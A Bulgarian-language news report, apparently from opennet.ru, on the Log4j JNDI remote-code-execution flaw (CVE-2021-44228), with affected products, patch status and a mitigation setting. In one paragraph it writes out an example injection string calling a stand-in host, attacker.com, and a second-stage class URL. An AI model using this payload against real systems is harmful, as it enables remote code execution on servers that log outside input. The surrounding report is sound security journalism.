ΠšΠ°Ρ‚Π°ΡΡ‚Ρ€ΠΎΡ„Π°Π»Π½Π° уязвимост Π² Apache Log4j, засягаща ΠΌΠ½ΠΎΠ³ΠΎ Java ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΈ

Π’ Apache Log4j, популярна Ρ€Π°ΠΌΠΊΠ° Π·Π° ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΈΡ€Π°Π½Π΅ Π½Π° рСгистриранС Π² Java прилоТСния, бСшС ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€Π°Π½Π° ΠΊΡ€ΠΈΡ‚ΠΈΡ‡Π½Π° уязвимост, която позволява ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»Π΅Π½ ΠΊΠΎΠ΄ Π΄Π° бъдС изпълнСн, ΠΊΠΎΠ³Π°Ρ‚ΠΎ спСциално Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€Π°Π½Π° стойност във Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ β€ž{jndi:URL}β€œ сС записва Π² ΠΆΡƒΡ€Π½Π°Π»Π°. Атаката ΠΌΠΎΠΆΠ΅ Π΄Π° бъдС ΠΈΠ·Π²ΡŠΡ€ΡˆΠ΅Π½Π° Π²ΡŠΡ€Ρ…Ρƒ Java прилоТСния, ΠΊΠΎΠΈΡ‚ΠΎ рСгистрират стойности, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈ ΠΎΡ‚ външни ΠΈΠ·Ρ‚ΠΎΡ‡Π½ΠΈΡ†ΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΠ³Π°Ρ‚ΠΎ ΠΏΠΎΠΊΠ°Π·Π²Π°Ρ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ½ΠΈ стойности Π² ΡΡŠΠΎΠ±Ρ‰Π΅Π½ΠΈΡ Π·Π° Π³Ρ€Π΅ΡˆΠΊΠ°.

ΠžΡ‚Π±Π΅Π»ΡΠ·Π²Π° сС, Ρ‡Π΅ ΠΏΠΎΡ‡Ρ‚ΠΈ всички ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΈ, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‰ΠΈ Ρ€Π°ΠΌΠΊΠΈ ΠΊΠ°Ρ‚ΠΎ Apache Struts, Apache Solr, Apache Druid ΠΈΠ»ΠΈ Apache Flink, са засСгнати ΠΎΡ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°, Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»Π½ΠΎ Steam, Apple iCloud, ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΈ ΠΈ ΡΡŠΡ€Π²ΡŠΡ€ΠΈ Π½Π° Minecraft. ΠžΡ‡Π°ΠΊΠ²Π° сС уязвимостта Π΄Π° Π΄ΠΎΠ²Π΅Π΄Π΅ Π΄ΠΎ вълна ΠΎΡ‚ масивни Π°Ρ‚Π°ΠΊΠΈ срСщу ΠΊΠΎΡ€ΠΏΠΎΡ€Π°Ρ‚ΠΈΠ²Π½ΠΈ прилоТСния, повтаряйки историята Π½Π° ΠΊΡ€ΠΈΡ‚ΠΈΡ‡Π½ΠΈΡ‚Π΅ уязвимости Π² Ρ€Π°ΠΌΠΊΠ°Ρ‚Π° Apache Struts, която спорСд Π³Ρ€ΡƒΠ±Π° ΠΎΡ†Π΅Π½ΠΊΠ° сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° Π² ΡƒΠ΅Π± прилоТСния ΠΎΡ‚ 65% ΠΎΡ‚ Fortune 100 ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ, Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»Π½ΠΎ ΠΎΠΏΠΈΡ‚ΠΈ Π·Π° сканиранС Π½Π° ΠΌΡ€Π΅ΠΆΠ°Ρ‚Π° Π·Π° уязвими систСми.

ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡŠΡ‚ сС утСТнява ΠΎΡ‚ Ρ„Π°ΠΊΡ‚Π°, Ρ‡Π΅ Ρ€Π°Π±ΠΎΡ‚Π΅Ρ‰ Сксплойт Π²Π΅Ρ‡Π΅ Π΅ ΠΏΡƒΠ±Π»ΠΈΠΊΡƒΠ²Π°Π½, Π½ΠΎ ΠΊΠΎΡ€Π΅ΠΊΡ†ΠΈΠΈΡ‚Π΅ Π·Π° стабилнитС ΠΊΠ»ΠΎΠ½ΠΎΠ²Π΅ всС ΠΎΡ‰Π΅ Π½Π΅ са ΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€Π°Π½ΠΈ. CVE ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΡŠΡ‚ всС ΠΎΡ‰Π΅ Π½Π΅ Π΅ Π·Π°Π΄Π°Π΄Π΅Π½. ΠšΠΎΡ€Π΅ΠΊΡ†ΠΈΡΡ‚Π° Π΅ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π° само Π² тСстовия ΠΊΠ»ΠΎΠ½ log4j-2.15.0-rc1. ΠšΠ°Ρ‚ΠΎ Π·Π°ΠΎΠ±ΠΈΠΊΠΎΠ»Π½ΠΎ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π·Π° Π±Π»ΠΎΠΊΠΈΡ€Π°Π½Π΅ Π½Π° уязвимостта сС ΠΏΡ€Π΅ΠΏΠΎΡ€ΡŠΡ‡Π²Π° Π΄Π° Π·Π°Π΄Π°Π΄Π΅Ρ‚Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚ΡŠΡ€Π° log4j2.formatMsgNoLookups Π½Π° true.

ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡŠΡ‚ бСшС ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅Π½ ΠΎΡ‚ Ρ„Π°ΠΊΡ‚Π°, Ρ‡Π΅ log4j ΠΏΠΎΠ΄Π΄ΡŠΡ€ΠΆΠ° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π° спСциални маски β€ž{}β€œ Π² Ρ€Π΅Π΄ΠΎΠ²Π΅, ΠΈΠ·Π²Π΅ΠΆΠ΄Π°Π½ΠΈ към Π΄Π½Π΅Π²Π½ΠΈΠΊΠ°, Π² ΠΊΠΎΠΈΡ‚ΠΎ ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° сС ΠΈΠ·ΠΏΡŠΠ»Π½ΡΠ²Π°Ρ‚ JNDI (Java Naming and Directory Interface) заявки. Атаката сС свСТда Π΄ΠΎ ΠΏΡ€Π΅Π΄Π°Π²Π°Π½Π΅ Π½Π° Π½ΠΈΠ· със замяната β€ž${jndi:ldap://attacker.com/a}β€œ, ΠΏΡ€ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°Ρ‚Π° Π½Π° която log4j Ρ‰Π΅ ΠΈΠ·ΠΏΡ€Π°Ρ‚ΠΈ LDAP заявка Π·Π° ΠΏΡŠΡ‚Ρ Π΄ΠΎ Java класа Π΄ΠΎ ΡΡŠΡ€Π²ΡŠΡ€Π° Π½Π° attacker.com . ΠŸΡŠΡ‚ΡΡ‚, Π²ΡŠΡ€Π½Π°Ρ‚ ΠΎΡ‚ ΡΡŠΡ€Π²ΡŠΡ€Π° Π½Π° атакуващия (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ http://second-stage.attacker.com/Exploit.class), Ρ‰Π΅ бъдС Π·Π°Ρ€Π΅Π΄Π΅Π½ ΠΈ изпълнСн Π² контСкста Π½Π° тСкущия процСс, ΠΊΠΎΠ΅Ρ‚ΠΎ позволява Π½Π° атакуващия Π΄Π° изпълни ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»Π΅Π½ ΠΊΠΎΠ΄ Π½Π° систСма с ΠΏΡ€Π°Π²Π°Ρ‚Π° Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰ΠΎΡ‚ΠΎ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅.

Π”ΠΎΠΏΡŠΠ»Π½Π΅Π½ΠΈΠ΅ 1: На уязвимостта Π΅ присвоСн ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ CVE-2021-44228.

Π”ΠΎΠΏΡŠΠ»Π½Π΅Π½ΠΈΠ΅ 2: Π˜Π΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€Π°Π½ Π΅ Π½Π°Ρ‡ΠΈΠ½ Π·Π° заобикалянС Π½Π° Π·Π°Ρ‰ΠΈΡ‚Π°Ρ‚Π°, Π΄ΠΎΠ±Π°Π²Π΅Π½Π° ΠΎΡ‚ ΠΈΠ·Π΄Π°Π½ΠΈΠ΅Ρ‚ΠΎ log4j-2.15.0-rc1. ΠŸΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½Π° Π΅ Π½ΠΎΠ²Π° актуализация, log4j-2.15.0-rc2, с ΠΏΠΎ-пълна Π·Π°Ρ‰ΠΈΡ‚Π° срСщу уязвимостта. ΠšΠΎΠ΄ΡŠΡ‚ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€Ρ‚Π°Π²Π° промяната, ΡΠ²ΡŠΡ€Π·Π°Π½Π° с липсата Π½Π° Π½Π΅ΠΎΠ±ΠΈΡ‡Π°ΠΉΠ½ΠΎ ΠΏΡ€Π΅ΠΊΡŠΡΠ²Π°Π½Π΅ Π² случай Π½Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ Π½Π° Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»Π½ΠΎ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€Π°Π½ JNDI URL.

Π˜Π·Ρ‚ΠΎΡ‡Π½ΠΈΠΊ: opennet.ru

ДобавянС Π½Π° Π½ΠΎΠ² ΠΊΠΎΠΌΠ΅Π½Ρ‚Π°Ρ€